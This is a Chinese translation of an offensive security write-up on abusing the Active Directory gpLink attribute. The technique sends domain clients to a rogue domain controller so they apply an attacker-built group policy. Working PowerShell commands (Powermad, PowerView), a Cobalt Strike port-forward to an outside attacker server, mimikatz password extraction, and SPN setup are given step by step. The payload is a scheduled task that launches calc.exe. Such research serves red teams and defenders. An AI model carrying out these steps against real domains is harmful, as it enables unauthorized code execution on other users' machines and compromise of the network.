0x00 前言
如果我们可以修改OU（Organizational Unit，组织单位），就能修改gpLink属性，搞定属于该OU及其子OU的任何计算机或者用户。
在开发SharpGPOAbuse工具之前，我想了解下Windows如何处理GPO（Group Policy Object，组策略对象）以及不同GPO组件之前如何进行关联。在寻找可能的攻击方式时，我找到了一个比较特别的属性：gpLink。gpLink存在于所有AD（Active Directory，活动目录）容器中，比如Domain（域）对象以及OU中，并且包含与该容器有关的GPO所对应的LDAP路径。
0x01 GPO处理过程
虽然本文的重点并不是详细描述GPO的工作原理，但还是可以稍微总结下一些基本的概念，以便大家理解整个攻击步骤。
GPO由以下两个组件组成：
- GPC（Group Policy Container，组策略容器）：这是GPO的LDAP部分，包含相关属性
- GPT（Group Policy Template，组策略模板）：位于
Sysvol中，包含实际的GPO设置
当客户端（用户或者主机）处理GPO设置时，将执行如下几个步骤：
1、客户端在目录结构中提取所有容器的gpLink属性。gpLink中包含必须被应用的GPO的LDAP路径。
2、客户端提取每个GPO关联的一些属性。其中有个属性为gPCFileSysPath，该属性包含实际GPO设置在Sysvol中的具体位置。
3、客户端与gPCFileSysPath指向的位置建立SMB连接。
4、客户端提取并应用GPO设置。
当然，以上只是简化版的操作过程，只列出了与本文介绍的攻击方式有关的一些步骤。需要注意的是，步骤1及步骤2依赖于LDAP协议（389/tcp端口），步骤3及步骤4依赖于SMB协议（445/tcp端口）。
0x02 攻击概览
为了实现攻击目标，我们需要满足如下条件：
1、我们需要具备必要的权限，以修改某个OU属性。
2、我们必须能够在目标域中添加计算机对象。
3、我们必须能够在目标域中添加DNS记录。
幸运的是，在默认配置的AD中，任何域用户都满足第2及第3个条件。
整个攻击过程如下图所示：
0x03 具体步骤
接下来我们以实际案例演示整个攻击过程。在这个示例中，目标域名为contoso.com。假设我们已经搞定bob.smith，该用户登录到WRKSTN02工作站，具备修改Finance OU的权限。我们的目标用户为alice.jones，该用户是Finance OU的一个成员：
Bob是WRKSTN02的本地管理员，虽然这并不是这种攻击的一个（严格）条件，但还是能简化我们的攻击示例过程。
首先，我们需要为test.contoso.com添加一个新的DNS A记录，将其指向bob.smith登录的计算机（WRKSTN02）。我们可以使用Powermad中的Invoke-DNSUpdate来完成该任务：
Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 10.1.1.22 -Realm contoso.com
接下来，由于我们可以修改Finance OU的属性，我们可以将其gpLink属性指向如下目标：
[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]
我们可以使用如下PowerView函数来修改所需属性：
Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]'}
这意味着当客户端处理这个gpLink属性时，就会向test.contoso.com发起LDAP连接，尝试提取GPO属性（如gPCFileSysPath、versionNumber等）。
由于客户端会向test.contoso.com（10.1.1.22）发起LDAP连接（389/tcp端口），因此我们需要拦截通信流量。为了完成该任务，我们可以使用Cobalt Strike的rportfwd命令，打开已控制主机的389端口，将其转发至目标网络外我们可控的某台服务器（10.2.2.40）：
该服务器为某个虚拟域（test.contoso.com）的域控制器（DC，Domain Controller），当然这个虚拟域与目标域（contoso.com）并没有任何关系。这里我们将这台新主机称为ATLANTIC$。由于我们具备ATLANTIC$的控制权，因此可以运行mimikatz来提取明文形式的主机密码（首先运行Reset-ComputerMachinePassword powershell命令，然后运行sekurlsa::logonpasswords命令）。
现在我们已经拿到虚拟DC的主机密码，我们可以在原始contoso.com域中添加一个新的主机对象，将其密码设置为同一个密码。新的主机对象使用的名称为TEST。我们可以使用Powermad完成该任务（记得在密码字符串中使用正确的转义符）：
$pass = "cP:Wbp8!Faz-2`$06CXvM\*m`$U)+[a/VBA2>60o8`"Ri1 bIMwxN,j8AWzFENk7)`$R;CSYG1%;UIi``8,]4PY`"G``hc<'k63KroS(^rT9%BeI'V35lMN9YN7Pgh;"
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString $pass -AsPlainText -Force)
我们还需要确保新主机对象已注册了如下SPN，这样当客户端尝试向我们的虚拟test.contoso.com域发起LDAP连接时，Kerberos认证过程能顺利通过（我使用的是稍加修改版的Powermad，以便在创建对象时注册这些SPN）。
LDAP/test.contoso.com
LDAP/TEST
HOST/TEST.contoso.com
HOST/TEST
现在，当客户端提取被修改的gpLink属性值时，就会请求与LDAP/test.contoso.com对应的TGS，而该TGS使用我们之前提供的ATLANTIC$主机的密码哈希进行加密。因此，当我们的虚拟域控拿到TGS后，就可以成功进行解密。
目前我们可以让客户端向我们控制的恶意DC发起LDAP连接。在执行GPO更新过程后（参考0x01节内容），客户端现在会请求包括gPCFileSysPath在内的一些GPO属性。因此，我们需要在伪造的test.contoso.com域中创建一个恶意GPO（这里称之为TestGPO），其中包含我们希望推送给受害者的各种设置。
注意：我们之前修改过
FinanceOU的gpLink属性，其中的LDAP路径必须包含这个GPO的GUID信息。
在这个攻击场景中，我们可以简单创建一个计划任务，用来执行calc.exe。
现在客户端会通过SMB连接到gPCFileSysPath所指向的位置，以便获取GPO设置。前面提到过，我们具备WRKSTN02的本地管理员权限，这是非常有用的一点。我们可以使用这些权限来创建一个新的共享目录（Sysvol），允许Authenticated Users组的成员读取目录内容：
这个共享目录用来托管恶意GPO设置，我们可以从test.contoso.com域对应的“伪造”域控的Sysvol共享中拷贝这些设置。
此外，我们必须使用如下内容来替换test.contoso.com域中TestGPO对象gPCFileSysPath属性的已有值：
\\wrkstn02.contoso.com\SysVol\contoso.com\Policies\{980F65E5-95F3-4536-81CF-1A48691F2D67}
当客户端提取gPCFileSysPath属性的值时，会发现TestGPO的GPO设置位于WRKSTN02工作站的Sysvol共享中。
如下图所示，在下一个GPO刷新周期中，由于alice.jones为Finance OU的成员，因此前面设置的计划任务会成功创建，立即弹出计算器，代表我们攻击任务已成功完成：
0x04 总结
在上述过程中，我们使用恶意DC来托管恶意GPO（GPC）的LDAP组件，在已被突破的工作站上通过Sysvol共享来托管恶意GPO的具体设置（GPT）。
最后我们还需要注意一点，即使目标环境配置了强化版的UNC路径，这种攻击方式还是有可能成功。由于我们没有执行任何中间人攻击，并且kerberos认证过程也能正常工作，因此这种安全控制策略并不能用来防御这种技术。如下图所示，即使配置了强化版UNC路径，我们也能攻击成功：
如下图所示，在Wireshark中，受害者主机WRKSTN01（10.1.1.20）及被攻击者控制的WRKSTN02（10.1.1.22）之间的SMB流量经过加密，表明目标环境已部署了强化版UNC路径：
我们已向微软反馈了这种攻击方式，官方认为这是一种正常的行为，不会进行修复。
